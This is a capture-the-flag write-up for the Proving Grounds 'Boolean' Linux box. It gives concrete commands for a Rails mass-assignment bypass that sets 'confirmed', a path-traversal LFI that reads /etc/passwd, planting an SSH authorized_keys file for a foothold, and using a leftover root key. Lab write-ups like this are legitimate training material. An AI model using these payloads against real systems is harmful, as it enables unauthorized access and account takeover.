# Boolean Writeup - Proving Grounds

> Intermediate Linux box where a Rails mass assignment flaw bypasses email confirmation, a file manager's local file inclusion plants an SSH key for a foothold, and a root private key left in a user's home directory gives privilege escalation.

- **URL:** https://hackindex.io/writeups/boolean
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Linux
- **Tags:** mass-assignment, lfi, information-disclosure, privilege-escalation, rails
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 2 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Boolean runs a Ruby on Rails application with a built-in file manager. A mass assignment flaw in the email-change endpoint bypasses email confirmation to unlock the file manager, whose local file inclusion is used to browse the filesystem and plant an SSH key for a foothold. A root SSH private key left in the user's home directory gives privilege escalation.

## Reconnaissance

### Nmap

Scan all ports.

```bash
nmap -sC -sV -p- $TARGET_IP
# 22/tcp    open  ssh     OpenSSH 7.9p1 Debian
# 80/tcp    open  http    Boolean web app (Rails)
# 33017/tcp open  http    Apache httpd (static "Development" page)
```

Port 80 runs a Rails app: tell-tale signs are the `.rails-default-error-page` CSS class, a `_boolean_session` cookie, and an `authenticity_token` CSRF parameter. It exposes registration, login, and a file manager feature gated behind email confirmation. Port 33017 is a static placeholder page and a dead end.

## Exploitation

### Email confirmation bypass (mass assignment)

Register an account, then intercept the email-change request in Burp Suite. The endpoint uses a `_method=patch` override and blindly mass-assigns every submitted user parameter, including `confirmed`.

```
POST /settings/email HTTP/1.1
Host: $TARGET_IP
Cookie: _boolean_session=<session cookie>
Content-Type: application/x-www-form-urlencoded

_method=patch&authenticity_token=<token>&user%5Bconfirmed%5D=True&user%5Bemail%5D=husky%40email.com&commit=Change+email
```

The server responds `200 OK` with `confirmed: true`, and refreshing the page unlocks the file manager.

### LFI to filesystem browsing

The file manager exposes a local file inclusion via the `cwd` and `file` parameters.

```bash
curl 'http://$TARGET_IP/?cwd=../../../../../../../../../../../../etc/&file=passwd&download=true'
# root:x:0:0:root:/root:/bin/bash
# <snip>
# remi:x:1000:1000:remi,,,:/home/remi:/bin/bash
```

The user `remi` has a home directory. Generate an SSH keypair, then use the LFI to browse to `/home/remi/.ssh/` and upload the public key as `authorized_keys` through the file manager's upload feature.

```bash
ssh-keygen -q -N '' -f sshkey
mv sshkey.pub authorized_keys
chmod 600 sshkey
```

```bash
ssh -i sshkey remi@$TARGET_IP
# remi@BooleanOne:~$ id
# uid=1000(remi) gid=1000(remi) groups=1000(remi)
```

Shell as `remi`. Check the home directory for anything interesting.

## Privilege Escalation

### Root SSH key in the user's keystore

An extra key store at `~/.ssh/keys/` holds a private key named `root`.

```bash
ssh -o "IdentitiesOnly=yes" -i ~/.ssh/keys/root root@127.0.0.1
# root@BooleanOne:~# id
# uid=0(root) gid=0(root) groups=0(root)
```

Related